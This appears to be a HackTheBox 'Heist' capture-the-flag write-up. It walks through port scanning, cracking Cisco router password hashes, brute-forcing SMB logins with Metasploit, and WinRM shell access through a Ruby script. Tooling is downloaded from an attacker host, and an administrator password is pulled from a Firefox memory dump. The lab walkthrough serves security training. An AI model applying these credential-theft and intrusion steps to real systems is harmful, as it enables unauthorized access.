Hackthebox – Heist
As with all machines, we start with a port scan of all ports, to determine possible attack vectors.
root@kalivm:~/Heist# nmap -sT -p 0-65535 -oN fullscan_tcp 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-13 09:52 CEST
Nmap scan report for 10.10.10.149
Host is up (0.015s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 149.68 seconds
Here we see various open ports, port 80 being a webserver, port 135 and 445 indicating it may be a windows system as these are the common SMB Server ports. And the previously seen port 5985 (on Hackthebox – Bastion) for Powershell Remote Access. Since the SMB Server and the Powershell Remote access ports may require credentials, we first start with enumeration of other portals, starting with the web site.
When opening the page, we are presented with a login portal which apparently has the option to login as a Guest.
When we login as Guest, we see a support portal where a user called Hazard asks for problems with the Cisco router and the creation of an account on the Windows server. Now this can be interesting as an attachment is enclosed to the first message.
When we open the attachment, it appears to be a Cisco IOS Configuration file including both Type 5 passwords, which are Salted MD5 passwords, and the highly insecure Type 7 passwords.
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
On this website, it is easy to crack any type 7 password and we immediately get back that the password for the rout3r account is $uperP@ssword, and the password for admin is Q4)sJu\Y8qz*A3?d. The password for Secret however, is a Type 5 password which needs some more effort (albeit not much) so we decide to throw it into hashcat.
root@kalivm:~/Heist# hashcat -m 500 -w 3 -a 0 heist.hash ./rockyou.txt
---snip---
Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent
Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Time.Started.....: Fri Sep 13 15:10:59 2019 (2 secs)
Time.Estimated...: Fri Sep 13 15:11:01 2019 (0 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1599.9 kH/s (81.35ms) @ Accel:1024 Loops:500 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3604480/14344385 (25.13%)
Rejected.........: 0/3604480 (0.00%)
Restore.Point....: 3276800/14344385 (22.84%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: texlas6* -> sp00fysp00fy
Hardware.Mon.#1..: Temp: 44c Fan: 24% Util: 76% Core:1885MHz Mem:3802MHz Bus:16
Started: Fri Sep 13 10:10:56 2019
Stopped: Fri Sep 13 10:11:02 2019
The last password is stealth1agent and now we store all passwords and usernames in two separate files and start trying them on the SMB Server
root@kalivm:~/Heist# smbclient -U hazard -L \\10.10.10.149
Enter WORKGROUP\hazard's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.149 failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available
After manually trying all usernames and passwords we find that Hazard’s account works with password stealth1agent and try to enumerate more users on SMB using enum4linux.
root@kalivm:~/powersploit# enum4linux -a -u hazard -p stealth1agent 10.10.10.149
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Sep 13 11:19:59 2019
==========================
| Target Information |
==========================
Target ........... 10.10.10.149
RID Range ........ 500-550,1000-1050
Username ......... 'hazard'
Password ......... 'stealth1agent'
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
---snip---
=======================================================================
| Users on 10.10.10.149 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
---snip---
S-1-5-21-4254423774-1266059056-3197185112-500 SUPPORTDESK\Administrator (Local User)
S-1-5-21-4254423774-1266059056-3197185112-501 SUPPORTDESK\Guest (Local User)
S-1-5-21-4254423774-1266059056-3197185112-502 *unknown*\*unknown* (8)
S-1-5-21-4254423774-1266059056-3197185112-503 SUPPORTDESK\DefaultAccount (Local User)
S-1-5-21-4254423774-1266059056-3197185112-504 SUPPORTDESK\WDAGUtilityAccount (Local User)
---snip---
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1010 *unknown*\*unknown* (8)
S-1-5-21-4254423774-1266059056-3197185112-1011 *unknown*\*unknown* (8)
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (Local User)
---snip---
So now we have a number of users and passwords which we can try against SMB again.
root@kalivm:~/Heist# cat knownusers.txt
Administrator
Hazard
support
Chase
Jason
root@kalivm:~/Heist# cat pass.txt
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d
Since doing all things manual, is a bit of a crazy approach, so we decide to use MSF to brute-force the usernames and passwords on SMB.
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set pass_file pass.txt
pass_file => pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set user_file knownusers.txt
user_file => knownusers.txt
msf5 auxiliary(scanner/smb/smb_login) > set rhosts 10.10.10.149
rhosts => 10.10.10.149
msf5 auxiliary(scanner/smb/smb_login) > run
[*] 10.10.10.149:445 - 10.10.10.149:445 - Starting SMB login bruteforce
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Administrator:stealth1agent',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Administrator:$uperP@ssword',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Administrator:Q4)sJu\Y8qz*A3?d',
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: '.\Hazard:stealth1agent'
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\support:stealth1agent',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\support:$uperP@ssword',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\support:Q4)sJu\Y8qz*A3?d',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Chase:stealth1agent',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Chase:$uperP@ssword',
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: '.\Chase:Q4)sJu\Y8qz*A3?d'
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Jason:stealth1agent',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Jason:$uperP@ssword',
[-] 10.10.10.149:445 - 10.10.10.149:445 - Failed: '.\Jason:Q4)sJu\Y8qz*A3?d',
[*] 10.10.10.149:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Now that we have some working users, the next step is to figure out how to use that WinRM access, since the previous setup at Bastion just had SSH access which does not work here. After quite some issues with both the MSF module and the Python based solutions that I found while doing some research, asking around on Discord led me to this Ruby based winRM tool on github. After some minimal modifications, the shell.rb file looked as follows.
root@kalivm:~/Heist# cat shell.rb
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.149:5985/wsman',
user: 'chase',
password: 'Q4)sJu\Y8qz*A3?d',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
With this shell, all that remains is to connect, and obtain the user flag!
root@kalivm:~/Heist# ruby shell.rb
PS > whoami
supportdesk\chase
PS > type ../Desktop/user.txt
a127daef<noflag>92008653295f59c4
Privilege escalation
After some browsing around on the system, looking for the most common privilege escalation ways, I found nothing particularly interesting so I got on the HTB forums, looking for a way. It was mentioned to look at the running processes so I took that direction again and found the Firefox processes as non-typical so decided to focus on those.
PS > Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
151 9 6676 12296 1.00 1436 0 conhost
148 9 6624 12244 0.70 2100 0 conhost
148 9 6680 12268 2.14 3460 0 conhost
151 10 6720 1488 3840 0 conhost
148 9 6676 12268 0.50 6216 0 conhost
149 9 6640 12388 6384 0 conhost
148 9 6664 12300 0.41 6820 0 conhost
706 26 2472 5296 396 0 csrss
287 17 2272 4748 488 1 csrss
358 15 3528 14216 5952 1 ctfmon
166 9 1856 9780 0.06 1524 1 dllhost
254 14 4100 13172 3928 0 dllhost
616 35 34008 59904 84 1 dwm
1489 58 23724 78656 4956 1 explorer
361 26 16064 34448 0.83 884 1 firefox
437 32 16996 60044 0.77 1080 1 firefox
403 30 23264 53552 1.36 4844 1 firefox
342 19 10216 37584 1.05 5116 1 firefox
1095 63 92988 161068 11.19 6344 1 firefox
---snip---
Once these process numbers are known, we can use SysInternal’s ProcDump tool to dump the process data of them and start browsing through it. So first, we need to get the procdump.exe file over.
PS > Invoke-Webrequest -Uri http://10.10.12.154:8000/procdump.exe -OutFile procdump.exe
PS > dir
Directory: C:\Users\Chase\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2019 7:27 PM 651424 procdump.exe
So now that we have procdump on our system, we can dump the process data for the various Firefox Processes and see if there is anything useful in there.
PS > ./procdump -ma 884
ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[19:37:00] Dump 1 initiated: C:\Users\Chase\Documents\firefox.exe_190913_193700.dmp
[19:37:00] Dump 1 writing: Estimated dump file size is 272 MB.
[19:37:03] Dump 1 complete: 272 MB written in 2.8 seconds
[19:37:03] Dump count reached.
This can be easily done with Get-Content and Select-String commands provided by powershell, as I learned from the Underthewire.tech – Oracle challenges. However ,after crashing the Ruby Shell over and over again, I finally got tired of it and asked for another nudge on Discord, the tip I got was to search for the string “htb” in the dump which I did.
PS > Get-Content firefox.exe_190913_193700.dmp | Select-string -Pattern "htb"
‹£½;ä÷csmàtaA “óa úSvØÿ`zþ Files
(x86)\Co‚£½2ždþ(þ2=C:ƒ£½3—hdþPóa àO{þ=SUPPORT‘£½!–÷Póa
system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Windows\system32LOCALAPPDATA=C:\Users\Chase\AppData\LocalMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Crash
ReportsMOZ_C‘£½!„÷àš¯„þPóa CTORY=C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Crash Reports\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program
Files\Mozilla Firefox\firefox.exeMOZ‘£½!„÷GÈ„þGÈ„þRG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=MOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla
Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=4OS=Windows_NTPath=C:\Pro‘£½!„÷Póa indows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\
Administrator\AppData\Local\Microsoft\WindowsApps;;C:\Users\Chase\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM‘£½!„÷Ð-fþà-fþð-fþ .fþ.fþ.fþ@.fþ0.fþP.fþ`.fþp.fþ€.fþþ.fþel 79 Stepping
1, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=4f01ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\P‘£½!„÷`È*pþág ÀcóaPóa =1££½–÷ä
---snip---
And with those credentials, we can re-use the ruby shell to connect as user Administrator with the found password!
root@kalivm:~/Heist# cat adminshell.rb
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.149:5985/wsman',
user: 'administrator',
password: '4dD!5}x/re8]FBuZ',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Now all that is left, is to connect and obtain the flag!
root@kalivm:~/Heist# ruby adminshell.rb
PS > whoami
supportdesk\administrator
PS > type ../Desktop/root.txt
50dfa3<noflag>>2e0d071b073d766897